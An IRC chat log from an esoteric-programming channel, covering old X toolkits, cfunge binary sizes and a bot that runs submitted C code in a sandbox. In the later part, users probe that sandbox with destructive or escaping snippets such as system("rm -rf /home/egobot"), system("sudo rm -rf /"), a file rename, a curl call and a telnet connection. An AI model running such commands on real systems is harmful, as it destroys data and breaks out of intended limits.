Motif + CDE + pure X 17:50:35 in shittyness 17:50:40 you guys ever used nedit? :-) 17:50:44 Ah. 17:50:47 ehird, what is that 17:50:50 http://www.nedit.org/ 17:50:52 * GregorR vaguely recalls nedit. 17:50:53 very old X11 editor 17:50:56 Guess it'll be in officially in 8.6? 17:51:00 ehird, tl;dc 17:51:07 AnMaster: it reminded me: 17:51:09 http://www.nedit.org/technotes/looks-1.php 17:51:15 talking about tk 17:51:32 ehird, the shade does it all 17:51:34 doesn't it 17:51:44 AnMaster: At the time it was written, the main UI toolkit was Motif. 17:51:44 Horrid, isn't it? 17:51:45 it still looks bad in the latter one 17:51:45 And the less-3Dness :P 17:51:56 AnMaster: It looks acceptable 17:52:03 I mean, there's not much there to look ugly 17:52:07 pikhq, actually I like motif. For the retro feeling it gives to mosiac 17:52:09 ;P 17:53:18 (yes I have a mosaic version which runs on modern Linux and even have some bugs fixed in it, oh and it is set to not display css or scripts inline, just to make it able to render google.com reasonably) 17:53:39 ehird, hm... 17:54:01 It certainly looks better than, say, xman. 17:54:07 fizzie: oh man, xedit 17:54:10 you ever used xedit? 17:54:14 that thing did SEARCH! 17:54:24 i wonder what toolkit it was 17:54:25 athena? 17:54:29 it's the black and white one 17:54:33 with just a two pixel border on buttons 17:54:57 ehird, I think I used xedit once. Used defined as ^C 17:54:57 I used to have OpenMotif installed... I can't remember why. 17:55:20 AnMaster: xedit is perfectly intuitive 17:55:22 it's just very very X 17:55:28 ehird, yes exactly 17:55:40 Oh, I still do have it. 17:55:40 Oh, right. Xpdf. 17:55:40 Why do I have xpdf? 17:55:49 oh my 17:55:54 pikhq: Evince uses gtk? 17:55:54 xpdf renders badly too 17:55:55 :-) 17:56:00 kpdf is very nice 17:56:05 -!- puzzlet has quit (Read error: 60 (Operation timed out)). 17:56:07 -!- puzzlet has joined. 17:56:08 in 3.x at least 17:56:14 ehird: xedit didn't use a toolkit. It used libX11. 17:56:24 pikhq: well, those widgets are in xman too 17:56:25 and stuff 17:56:30 The "scrollbar scrolls down on left-click, up on right-click, and you can drag it with middle-click" stuff is the horrible. 17:56:40 fizzie: ugh 17:56:42 don't remind me 17:56:45 fizzie, that is like in emacs iirc 17:56:50 but you can change it there I think 17:56:54 xman's linked with libXaw.so.7 here, so I guess it's from Athena. 17:57:03 never been bothered enough to figure it out 17:57:15 fizzie, does it use it though 17:57:16 AnMaster: xterm is the main offender 17:57:21 that's why you should use urxvt. 17:57:26 ehird, actually xterm isn't too bad 17:57:29 or gnome-terminal if you're not gnome averse 17:57:32 compared to twm or such 17:57:32 AnMaster: it is for the scrollbar 17:57:36 that's exactly the behaviour it has 17:57:38 ehird, it had none 17:57:39 iirc 17:57:41 in xterm 17:57:43 ... 17:57:47 xterm has a scrollbar. 17:57:52 you can turn it off but it has one. 17:57:53 ehird, not mine at least. 17:58:02 so I guess it is off by default 17:58:08 I never turned it either on or off 17:59:16 "scrollBar (class ScrollBar): Specifies whether or not the scrollbar should be displayed. The default is ‘‘false.’’" 17:59:22 Of course I don't know if that's the universal default. 17:59:58 depends on distro I guess 18:00:30 gentoo tends to not change defaults for stuff. And not install customised icons replacing KDE/Gnome/whatever logos with the distro ones 18:00:40 (I hate when distros do that) 18:02:46 Yeah, it's kinda nice that Gentoo only tends to do patches to, y'know, make shit work right. 18:03:01 Debian does that stuff a bit, but OTOH you get a nice desktop that always works together 18:03:07 And you can probably replace the debian logoshits. 18:07:00 -!- M0ny has quit ("When you get sad stop being sad and be awesome instead."). 18:16:28 I mean, a logo at the boot or such (though I prefer text bootup) is fine with me. And possibly default desktop background picture. (I'm going to replace it with a single solid colour anyway!) 18:16:36 but when it gets to the menu... 18:16:54 AnMaster: all debian does beyond that is make gnome's menu icon the debian logo instead of the gnome foot 18:17:01 which is probably easily replacable 18:17:04 i agree they should do less 18:17:08 ehird, can you get the MP foot 18:17:11 but it's easily reversible, nothing really permanent 18:17:27 AnMaster: It's probably just a png or an svg 18:17:39 The gnome foot is ugly anyway, Debian's logo is nicer :P 18:17:45 so use the MP foot 18:17:48 that is even better 18:17:54 I dunno, that spiral is pretty nice. 18:18:06 ehird, but the MP one is pretty isn't it 18:18:10 ;P 18:18:16 I have no idea what the fuck you're talking about. 18:18:20 ... Monty Python 18:18:24 Oh. 18:19:29 ehird, you know their foot right 18:19:49 (I'm never sure when it comes to you) 18:22:20 -!- pikhq has quit ("leaving"). 18:23:44 -!- MizardX- has joined. 18:23:53 -!- MizardX has quit (Read error: 54 (Connection reset by peer)). 18:24:06 * oerjan stomps on AnMaster 18:24:19 -!- MizardX- has changed nick to MizardX. 18:24:20 * AnMaster hits oerjan o=========E 18:24:42 oerjan, IWC! (Or have I said that already today?) 18:24:46 nope 18:25:55 i wonder if DMM is going to rewrite history for very long 18:26:25 (well, apart from the historical themes, for which the answer is obviously "yes") 18:26:27 also mezzacotta was interesting today. I never heard the word "astrogator" before 18:26:51 AnMaster: an agoran office for keeping the gate to the stars, obviously 18:26:55 ais523: right? 18:27:03 heh, possibly 18:27:30 ehird, spacecraft navigator in fact 18:27:36 says google 18:27:36 ais523: do you know how that started btw? It's not the Speakor. 18:27:41 no idea 18:27:49 speakor... wth is that 18:27:55 Agoran spelling 18:27:56 Speaker is an agoran office. 18:28:00 Agoran spells offices with or. 18:28:03 so rulekeeper is Rulekeepor 18:28:03 Did you mean: speaker Top 2 results shown 18:28:06 but it's Speaker, not Speakor 18:28:10 and I was wondering why 18:28:13 speaker was there from the start 18:28:15 so it must be newer than that 18:28:21 and I was wondering how it started 18:28:41 ehird, go read the ml archive 18:28:50 AnMaster: dude, it's from 1993 to present 18:28:56 and a large number of years were lost 18:28:56 ehird: when i was around it was only for -keepor 18:29:02 I think the current logs start around 2004, right ais523? 18:29:03 ehird, surely there is a "search" feature 18:29:07 AnMaster: no 18:29:13 ehird, that's crappy 18:29:13 i don't think it was Bankor, say 18:29:13 and as I said, pre-2004 logs are lost 18:29:19 that true 18:29:20 AnMaster: it's just mailman. 18:29:20 too* 18:29:30 ehird, right. Crappy in other words. 18:29:33 it was logged on escribe.com 18:29:38 which then promptly died and took all logs with it 18:29:54 and you guys think i'm crazy to hate rafb.net :-) 18:30:11 well, yes 18:30:16 rafb.net always takes logs with it 18:30:21 for the others, it's less predictable 18:30:37 I always set expire on any other pastebins when pasting to this channel 18:30:41 just to annoy ehird 18:30:52 oh and ais523's program above was set to expire I noticed 18:30:58 the underload interpreter 18:30:58 AnMaster: no it wasn't 18:31:03 sure 18:31:13 I'm pretty sure it was 18:31:18 maybe I misread 18:31:23 we'll see who's laughing when civilization collapses because we couldn't find the specs to a nuclear anti-destruction shield that were pasted on rafb.net 3 years ago 18:31:44 the last action done by humanity? reading the logs where everyone praises its technical prowess. 18:31:47 *BOOM* 18:32:24 yay a 72 KB executable for cfunge *with* the floating point fingerprints. 18:32:34 Deewiant, can you get such a small ccbi 18:33:09 without floating point using fingerprints: 59 KB 18:33:12 No, even hello world with a non-minimized D stdlib is over 100 KB 18:33:54 And minimizing the stdlib would result in pretty much C :-P 18:34:51 ARGH, just how much memory does Java WANT X_X 18:34:59 GregorR, what 18:35:02 ulimit -v $(( 64 * 1024 )) # not enough for java 18:35:03 a lot I guess 18:35:10 ulimit -v $(( 256 * 1024 )) # not enough for java 18:35:37 -march=native -Os -DNDEBUG -fno-unwind-tables -fno-async-unwind-tables -Wl,-O1,-s 18:35:39 btw 18:35:58 the key things there are "-fno-unwind-tables -fno-async-unwind-tables" 18:36:08 even for C code gcc generates unwind stuff 18:36:11 even with no debugging 18:36:27 and even with those I still have .eh_frame and .eh_frame_hdr 18:36:31 but a lot smaller such sections 18:39:06 GregorR, err I think it over-allocates 18:39:11 or something like that 18:39:17 there is a command line option iirc 18:39:21 Yeah, I'm trying -Xmx32m 18:39:24 Doesn't seem happy still X_X 18:39:39 ah you tried that one 18:39:42 You can tweak the initial Java heap sizes and such with something like "-Xms16m" to make it start with a 16-megabyte heap; I have no idea what the default could be. Although I guess setting the limit might work just as well. 18:39:51 -Xss set java thread stack size 18:39:54 what about that 18:40:04 Still, it seems to use a horrible amount of virtual memory, not so much resident. 18:40:25 Virtual size of this one java process is 1413696k, resident size 55960k. 18:40:52 GregorR, found out where the buffer came from btw 18:41:19 ? 18:42:18 Virtual usage doesn't really matter, does it? 18:42:39 GregorR, for cfunge running on mycology 18:42:40 Virtual memory usage is irrelevant 18:42:52 after it quit and then still sent it after reconnect 18:43:47 AnMaster: Yeah? 18:44:01 Running foobar2000 in Wine results in four processes with 3.6 gigs of virtual memory usage 18:44:10 GregorR, ... question was: have you fixed that issue or not 18:44:28 OH 18:44:30 lawlehcoptahs 18:44:31 No. 18:44:39 GregorR: *roflcopter? 18:44:48 I prefer lawlehcoptahs 18:44:58 Deewiant, I can get a full featured cfunge (32-bit cells, -Os, stripped) in 96 K for x86_64 18:45:02 less for 32-bit x86 I bet 18:45:04 let me try 18:45:18 Yes, C tends to result in small executables, especially with dynamic linking. 18:45:23 Has anyone said they cared yet, AnMaster? :P 18:45:35 ehird, the embedded marked! 18:46:03 I got a call from Nokia about using it on their phones today. They said something about needing a fingerprint GPRS though. 18:46:19 87k for 32-bit x86 18:46:32 UPX it 18:46:34 Deewiant, I'll try static linking, sec 18:46:37 According to /proc//maps the Java VM has one exactly 617.5M-sized anonymous mapping, and one 308.75M one. I'm guessing those are some sort of fraction-of-available-memory things. 18:47:18 -rwxr-xr-x 1 ais523 ais523 13892 2009-05-02 18:46 derl 18:47:19 linking errors for 32-bit ncurses hm 18:47:21 that's after stripping 18:47:22 it can't find it 18:48:11 On the subject of file sizes of unrelated things: 18:48:13 -rwxr-xr-x 1 deewiant deewiant 4669 2009-04-12 22:48 dobelx64 18:48:18 ah my fault 18:48:27 Deewiant, that's impressive yes 18:48:46 Stripping increased its size to 4888 18:48:50 that's writtten in asm, isn't it? 18:48:55 ais523: with custom headers 18:48:55 Yep. 18:48:56 also, how does stripping make something /bigger/? 18:49:01 I don't know. 18:49:09 strip -s turned 4669 into 4888. 18:49:26 alignment? 18:49:44 Start of section headers: 120 (bytes into file) 18:49:47 Start of section headers: 4696 (bytes into file) 18:49:48 Start of section headers: 4696 (bytes into file) 18:49:50 Oops 18:49:55 Anyway, that changed, at least. 18:50:18 ais523: Right, that's it, I'm writing an optimized underload compirer. 18:50:19 It also renamed STRTAB to .shstrtab, which adds a few bytes. 18:50:22 Yes, compirer. 18:50:27 ehird: optimized for what? 18:50:35 ais523: Speed. Memory. Ponies. 18:50:39 Compiling, obviously. 18:50:39 Ducks. 18:50:57 ehird: are you going to base it on the existing Underload compiler? 18:51:01 meh 18:51:04 No. I lost the code to that. 18:51:14 I wanna call it overload in reference to overclocking but dammit that's taken :-) 18:51:24 * AnMaster tries on a non-multilib system 18:51:36 please make it handle ((+):*:^):^ well 18:51:51 you may want to add a ulimit when running that, though 18:52:08 !ul ((+):*:^):^ 18:52:13 err 18:52:17 !underload ((+):*:^):^ 18:52:21 no? 18:52:23 !help 18:52:23 Supported commands: bf_txtgen help info 1l 2l adjust axo bch befunge befunge98 bf bf16 bf32 bf8 dimensifuck glass glypho kipple lambda lazyk linguine malbolge pbrain qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl 18:52:28 ais523: (+)(:*:^):^ grows longer, no? 18:52:30 err... ((+)S:*:^):^ 18:52:38 !underload ((+)S:*:^):^ 18:52:38 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 18:53:05 you can't manage more than about 16 +s that way 18:53:13 unless you optimise 18:57:27 Deewiant, it is larger, because I can't strip that unwind info from the statically linked libraries 18:57:43 Of course it's larger. 18:58:25 Deewiant, yes but a large chunk of it is "useless" unwind info! 18:58:41 And a large chunk of CCBI is "useless" TypeInfo! 18:58:46 And ModuleInfo, and whatever. 18:58:51 22 KB! 18:58:58 Oh noes111 18:59:14 anyway 865KB for this full featured cfunge, stripped. 18:59:30 22 KB is unwind info from linked libraries 18:59:35 cfunge 0.4.0 [+con +trace +exact-bounds +ncurses p:32 c:32] 18:59:36 btw 18:59:45 ais523, were you here when I added that 18:59:58 what, exact bounds? 19:00:01 no 19:00:03 feature string 19:00:10 I saw you developing it 19:00:11 oh right 19:00:12 but not the finished product 19:00:16 yes I remember it now 19:00:36 http://rafb.net/p/yVnwkh20.html 19:01:52 -!- WangZeDong has joined. 19:13:19 -!- Slereah has quit (Read error: 110 (Connection timed out)). 19:14:19 I wish C had more exact ways to tell the compiler about aliasing 19:14:23 and other stuff 19:14:27 there's restrict 19:14:30 and data types 19:14:51 ais523, rather crude. You can't say "this one will alias exactly this one, might alias that one, and won't alias anything else" 19:15:14 yep, splint annoys me about that too 19:15:20 because you can't specify aliasing precisely enough 19:15:38 ais523, and you can't say "this pointer in your parameter list points to a block that is guaranteed to be aligned on a 16 byte boundary" 19:15:44 well ICC can do the latter 19:15:47 with a pragma 19:15:49 but GCC can't 19:16:04 when will people learn that c is fundamentally flawed 19:16:30 ehird, not fundamentally. 19:16:35 yes, fundamentally 19:16:40 For a start, what would you call cobol then 19:16:46 not a language. 19:16:52 good one 19:17:01 but it is a language 19:17:06 doubtful 19:17:07 at any rate, cobol is even more flawed fundamentally, but that doesn't make C unflawed 19:17:10 which cobol, the mainframe lang or the esolang? 19:17:18 if it is a *programming language* might be harder to know 19:17:24 heh. 19:17:26 ais523, they are the same iirc 19:17:30 no, they aren't 19:17:38 there's an esolang called COBOL just to cause confusion 19:17:41 based on playing cards, IIRC 19:17:53 does anyone know why a failed login to a unix system lags a lot before telling you? 19:17:57 a security measure/ 19:17:58 ? 19:18:02 it's irritating 19:18:07 C has like 4 decades of workarounds, libraries, and coder experience to work around the flaws though 19:18:07 yep, to prevent brute-forcing via a plugged-in keyboard 19:18:13 well, keyboard simulator 19:18:20 lawl. 19:18:20 I think it's exactly 1 second of lag 19:18:25 it's grrrrrrrrrrrrrrrrrrrrrrrr 19:18:33 and bruteforce by telnet, obviously 19:18:36 yes 19:18:56 a good security cage is enough to make most unixy systems secure against even physical access, if they can't get through the cage 19:19:07 arguably that isn't physical access, though 19:20:15 -!- Sgeo has joined. 19:20:27 There's a couple-second sleep when the system shuts down after sending SIGTERM, too, even though it could continue early if all processes responded to the SIGTERM 19:21:14 of course, if they slowhashed the passwords, there could be another reason for the lag 19:21:24 but I don't think most Linux distros use slowhashing by defualt 19:21:26 *default 19:21:49 slowhashing? 19:22:03 Sgeo: using a hash function that's really computationally expensive to compute 19:22:14 so that even if someone gets read access to /etc/shadw somehow, bruteforcing is impractical 19:22:15 Why would that be done? 19:22:17 oh 19:23:11 Do any Linux distros encrypt the files with the user's password? 19:23:15 That would make sense, right? 19:23:21 no, because they don't know what it is 19:23:47 I meant the user's files, not the system files 19:23:51 Ubuntu lets you encrypt keyrings, though 19:24:05 and if you give the same password for them as your login password, then they'll be unlocked at login 19:24:08 if you check the box to let you do that 19:24:18 and then the passwords the files are actually encrypted with are in there 19:24:22 well, privkeys 19:24:27 back 19:24:35 (sorry had to go afk due to an optical failure) 19:24:53 ais523, both cobol are esolangs IMO ;P 19:25:01 one also happens to be a mainframe one as well 19:26:50 http://en.wikipedia.org/wiki/COBOL#COBOL_2002_and_object-oriented_COBOL 19:26:52 Oh 19:26:53 my 19:27:55 does anyone know why a failed login to a unix system lags a lot before telling you? 19:27:57 so change it 19:28:05 How. 19:28:14 ehird, pam config iirc 19:28:22 so somewhere in /etc/pam.d/* 19:28:35 ehird, but why did it fail in the first place 19:28:52 you don't typo your password a lot in general 19:28:54 bbl food 19:33:56 (sorry had to go afk due to an optical failure) <<< sorry to hear you broke your glasses 19:36:50 -!- EgoBot has quit (Remote closed the connection). 19:36:57 -!- EgoBot has joined. 19:37:41 Think plash is secure enough to run arbitrary C code? X-P 19:37:52 Shur! 19:37:54 !c 2+2 19:37:55 (I've seen it done) 19:38:05 GregorR: just run them in user mode linux 19:38:15 geordi runs arbitrary C++ 19:38:18 Yeah, that would be super, boot a UML every time X-P 19:38:29 Deewiant: but is massively complex 19:38:34 GregorR: No. 19:38:42 GregorR: Just reboot it when it starts doing weird shit 19:38:43 ehird: What did you expect, it's C++ after all ;-) 19:39:03 Deewiant: technically it's written in haskell 19:39:13 Yes, but it has to deal with C++ 19:39:28 ??????? 19:39:37 FWIW it also provides some handy C++-related tools which have nothing to do with running C++, which add to the complexity 19:42:55 -!- ehird_ has joined. 19:43:03 Yep, I still like this client. 19:43:08 !c printf("Hello, world!\n"); 19:43:09 Hello, world! 19:43:12 :P 19:43:13 YAY 19:43:16 !c malloc(4587348957345345) 19:43:19 SECURITY FIRST, KIDS 19:43:25 It still has all the same limits :P 19:43:25 !c free(0) 19:43:33 !c printf("%i\n",1/0) 19:43:33 !c printf("%i\n",1/0); 19:43:38 DIE DIE DIE 19:44:05 Just for ehird_, I'm outputting stderr to stdout :P 19:44:08 !c free(0) 19:44:15 !c free(0); 19:44:19 Or, y'know, failing to, whatever. 19:44:20 !c } 19:44:21 :8: error: expected identifier or '(' before 'return' 19:44:31 GregorR: Use clang, foo 19:44:48 How is that a plus? 19:44:51 !c free(0) 19:45:00 Argh, where's my stderr X-P 19:45:05 !c free(beer) 19:45:06 !c fprintf(stderr, "Hello, world!\n"); 19:45:06 : In function 'main': 19:45:07 Hello, world! 19:45:25 GregorR: Clang is awesome 19:45:32 ehird_: It compiles to llvm, no? 19:45:36 Yes. 19:45:38 Yes it does 19:45:47 It compiles cfunge, doesn't it AnMaster? 19:45:51 Therefore it can compile everything. 19:46:04 As far as I'm concerned, llvm is just yet one more environment to support ... unless llvm has nifty sandboxing support. 19:46:15 !c system("ls /"); 19:46:16 bin 19:46:26 GregorR: You do know that llvm compiles to machine code, right? 19:46:43 It's just an intermediate step in the compilation process. 19:46:46 ehird_: I thought it was a JIT ... >_> 19:46:51 It can be 19:46:56 Ahhhhhhhh 19:46:59 !c system("ls /home/egobot/"); 19:47:00 egobot.hg 19:47:11 !c system("rm -rf /home/egobot") 19:47:18 * ehird_ whistle 19:47:21 It should be read-only :P 19:47:26 If that breaks, it's totally my fault X-P 19:47:33 !c system("ls /home/egobot") 19:47:34 egobot.hg 19:47:37 Darn. 19:47:38 Yeah, nothing deleted. 19:47:43 ehird_, what compiles cfunge 19:47:46 oh clang 19:47:46 AnMaster: clang 19:47:48 yes iir 19:47:50 iirc* 19:47:52 !c system("http://4chan.org/") 19:47:54 er 19:47:55 at least svn as of a few weeks ago 19:47:56 !c system("curl http://4chan.org/") 19:48:05 2.5 didn't iirc 19:48:07 I mean 19:48:10 clang at the time of 2.5 19:48:12 ehird_: That would work if curl was installed X-P 19:48:14 didn't work 19:48:18 but a later version did 19:48:23 haven't tried recently 19:48:44 !help 19:48:44 !c system("mv /home/egobot/egobot.hg /home/egobot/boo") 19:48:45 Supported commands: help info 1l 2l adjust axo bch befunge befunge98 bf bf16 bf32 bf8 c dimensifuck glass glypho kipple lambda lazyk linguine malbolge pbrain qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl 19:48:50 !c system("ls /home/egobot") 19:48:52 egobot.hg 19:49:00 !c system("sudo rm -rf /") 19:49:01 ;_; 19:49:12 oerjan: that's not a very oerjan smiley :o 19:49:15 ehird_: You must think that plash is the most useless system ever :P 19:49:22 Gracenotes: But of course. 19:49:22 we are so predictable 19:49:37 ehird_: >_> 19:49:39 !c system("telnet irc.freenode.net 6667") 19:49:41 more to the point, that wouldn't work even on a completely unsecured system 19:49:48 ehird_: lawl 19:49:51 the sudo, I mean 19:49:56 how would you enter the password? 19:50:02 ais523: magic 19:50:09 !c printf("%d\n",2+2) 19:50:10 4 19:50:10 ais523, btw, so you can coordinate for ick release, plan is to release a new stable cfunge either this evening or tomorrow or soon after. I realised that that -DCFUN_IS_IFFI changed the API so I'm going to increment the API version and make IFFI handle it (so soon you will have to pull from my ick branch again) 19:50:18 !c system("more magic") 19:50:31 I wonder how the sandboxing is done? 19:50:41 ais523: http://google.com/search?q=plash 19:50:51 ais523, sandboxing what 19:50:56 ... 19:51:00 AnMaster is so blind. 19:51:41 ehird, C I guess 19:51:52 but I would have to read scrollback then 19:51:59 instead I'm going to code stuff 19:53:29 !c int i = 42; printf("%d\n", i); 19:53:31 42 19:54:26 19:51 AnMaster [n=AnMaster@unaffiliated/anmaster] requested CTCP VERSION from ehird_: 19:54:28 Smuxi 19:54:35 ais523 may know it; it's in the debian/ubuntu repos. 19:54:42 I don't know it 19:54:51 memorising the whole of the debian/ubuntu repos would be ridiculous 19:54:51 Rightyho. 19:55:00 err, do you call a -DFOO=bar a "macro" or is it macro only if it takes parameters 19:55:02 !c printf(__FILE__); 19:55:03 19:55:04 I mean, what is the official term 19:55:09 !c printf(__LINE__); 19:55:17 oh, it's a number 19:55:20 :P 19:55:21 !c printf("%d",(int)__LINE__); 19:55:22 ehird, Smuxi? 19:55:22 7 19:55:27 7??? 19:55:31 AnMaster: Smuxi. It's an IRC client for Gnome. 19:55:35 It is the nice. 19:55:36 Oh, right, each #include is on its own line 19:55:36 ais523, well you are the C expert here. 19:55:39 Also the minimal. 19:55:44 so what do you call them 19:55:45 AnMaster: I thought you were 19:55:52 ais523, not C standard expert! 19:55:56 and it's a preprocessor definition, technically 19:56:00 right 19:56:27 "[...] must now define the below listed preprocessor definitions to strings with the relevant values" 19:56:28 err 19:56:32 that seems messy 19:56:32 It's a #define 19:56:43 just because a term's used in a standard doesn't mean you have to /use/ it 19:56:47 especially when it's unwieldy 19:57:36 ais523, what would you recommend instead 19:57:39 AnMaster: your sentence is messy 19:57:47 ehird, agreed 19:57:47 ehird_: YOUR MOM IS MESSY 19:57:53 "must now define the below listed" *Brain turns off* 19:58:21 AnMaster: put an example there 19:58:26 and ask people to edit it to suit their purposes 19:58:47 hm 19:58:53 !c printf("%d", fac(5)); return 0; } int fac(int n) {if (n) return n*fac(n-1); else return 0; 19:59:06 bah 19:59:40 "The application has to be able to decrypt the password in order to authenticate users when they login." <-- >_< 19:59:44 I'm fekking around with it :P 19:59:59 !c FILE*in=fopen(argv[0],"rb"); while(!feof(in)) printf("%x",(int)getc(in)); 20:00:12 !underload (test)S 20:00:12 test 20:01:06 Just fixed !c 20:01:10 !c FILE*in=fopen(argv[0],"rb"); while(!feof(in)) printf("%x",(int)getc(in)); 20:01:21 hmm, why isn't that working? 20:01:25 ais523, it is a long list of defines with descriptions. I'll pastebin it so you can find a better way. 20:01:25 I'm not sure :P 20:01:31 !c you lied to me when you told me this was a program 20:01:40 !c puts("test") 20:01:41 7f454c46211000000000203e01000d04400000040000000060120000000000400380804002502206000500040000000040040000004004000000c01000000c010000008000000030004000020000000240000000240000001c00000001c0000000100000001000500000000000004000000004000000bc7000000bc700000000200000010006000c07000000c076000000c07600000020200000030200000000200000020006000e87000000e876000000e876000000a01000000a0100000080000000400040001c20000001c240000001c240000002000000002000000004000000050 20:01:42 ais523, http://rafb.net/p/gmZTe577.html 20:01:48 oh, it did work, just slowly 20:01:56 that's rather sparse, probably it's the header 20:01:57 ais523, that is not spell checked at all 20:02:01 btw 20:02:26 "Please define the following to string constants:" 20:02:34 ah 20:02:36 ais523: ew 20:02:43 Please #define the following as string constants 20:02:45 kthx 20:02:52 mainly as instead of to, but #define is clearer 20:02:55 ehird, I -Define them 20:02:55 :P 20:03:04 you -Define #defines 20:03:16 !c int i=1;FILE*in=fopen(argv[0],"rb");for(;!feof(in);i++)printf("%02x%s",getc(in),(i%20)==0?"\n":""); 20:03:17 7f454c4602010100000000000000000002003e00 20:03:24 Well that was retarded. 20:03:24 !c printf("%d\n", fac(5)); return 0; } int fac(int n) {if (n) return n*fac(n-1); else return 0; 20:03:26 0 20:03:29 Now EgoBot is spamming me. 20:03:32 whoops 20:03:35 ah 20:03:39 GregorR: yep, it returns multilines in /msg, doesn't it? 20:03:40 !c printf("%d\n", fac(5)); return 0; } int fac(int n) {if (n) return n*fac(n-1); else return 1; 20:03:44 120 20:03:44 ais523: Yeah 20:03:47 and !kill and !ps doesn't seem implemented atm 20:03:50 It'll get d/c'd pretty soon :P 20:03:52 ais523, that misses the point of "you only need to worry if you aren't using cmake" 20:03:55 ais523: Nope :P 20:03:57 completely 20:04:06 AnMaster: / 20:04:07 *? 20:04:19 AnMaster: "If you are not building with cmake, #define these as string constants:" 20:04:23 "Also any code using another build system than cmake (such as IFFI) must now define [..]" 20:04:24 you're welcome 20:04:28 ehird_, that would work yes 20:05:35 * GregorR is a little bit surprised that EgoBot hasn't been dropped yet :P 20:05:44 GregorR, from what 20:06:10 -!- EgoBot has quit (Excess Flood). 20:06:10 It's still spamming the binary at me :P 20:06:13 -!- EgoBot has joined. 20:06:14 Ahh, there it goes. 20:06:20 GregorR, still sending it 20:06:24 I guess 20:06:48 Yup! :P 20:07:10 !befunge98 aaa**k'A aaa**k, @ 20:07:21 hm 20:07:40 ? 20:07:41 GregorR, will it completely send the previous reply before starting next 20:07:44 !help 20:07:45 Supported commands: bf_txtgen help info 1l 2l adjust axo bch befunge befunge98 bf bf16 bf32 bf8 c dimensifuck glass glypho kipple lambda lazyk linguine malbolge pbrain qbf rail rhotor sadol sceql trigger udage01 underload unlambda whirl 20:07:49 No. 20:07:57 then I guess I made an error there 20:08:05 AnMaster: it answered mine while still spamming GregorR 20:08:07 !befunge98 ak'A ak, @ 20:08:07 !c printf("Hello, world!") 20:08:09 Hello, world! 20:08:14 !befunge98 ak'A ak,a, @ 20:08:16 why is there malbolge? Is it even possible to fit a useful malbolge program in one message? 20:08:17 meh 20:08:24 coppro: !malbolge http://foo 20:08:25 Either that or befunge98 is broken in there right now :P 20:08:26 and yes: 20:08:42 !malbolge (=<`$9]7<5YXz7wT.3,+O/o'K%$H"'~D|#z@b=`{^Lx8%$Xmrkpohm-kNi;gsedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543s+O HEllO WORld 20:09:04 !befunge98 'A aaa**k: ak,a, @ 20:09:04 AAAAAAAAAAA 20:09:08 !befunge98 'A aaa**k: aaa**k,a, @ 20:09:09 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 20:09:13 hm 20:09:17 Well that's nice :P 20:09:26 GregorR, so you don't add linebreaks 20:09:43 Nope 20:09:47 !befunge98 'A aaaa***k: aaaa***k,a, @ 20:09:53 um 20:10:00 what happened there 20:10:20 I have no idea. 20:10:22 GregorR, did it hit ulimit 20:10:25 maybe 20:10:33 I can't see that output easily. 20:10:35 Or ... at all :P 20:10:43 !befunge98 aaaa***. @ 20:10:43 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 20:10:47 ok 20:10:49 that was odd 20:10:57 as in slower than I expected 20:11:02 !befunge98 aaaa*** . a, @ 20:11:02 10000 20:11:22 EgoBot does slow everything down by insane degrees :P 20:11:26 It's niced and slox'd. 20:11:49 GregorR, what does slox do 20:11:50 and 20:11:58 !befunge98 aaaa*** . @ 20:11:59 10000 20:12:06 why didn't it output twice before 20:12:13 -!- ehird_ has quit (Remote closed the connection). 20:12:18 21.10:42 !befunge98 aaaa***. @ never got a reply 20:12:37 21.11:01 !befunge98 aaaa*** . a, @ got a reply 20:12:39 I have no answers :P 20:12:44 and so did !befunge98 aaaa*** . @ later 20:12:58 GregorR, not even on what slox does 20:13:02 :( 20:13:15 what is slox there for then 20:13:19 can you answer that at least 20:13:35 slox keeps a process from using more than a requested percentage of the CPU. 20:13:49 GregorR: set up a reverse dns for that codu 20:13:53 it comes as codu.xen.prgmr.com 20:14:07 ehird: Yeah, I know, I need to. I assume it involves talking to humans though, and that sucks ;) 20:14:17 err, why 20:14:19 GregorR, ok. How does it do it 20:14:48 AnMaster: SIGSTOP 20:14:52 It's el lameo 20:14:54 But it works 20:15:15 GregorR, um. cfunge has a compile time 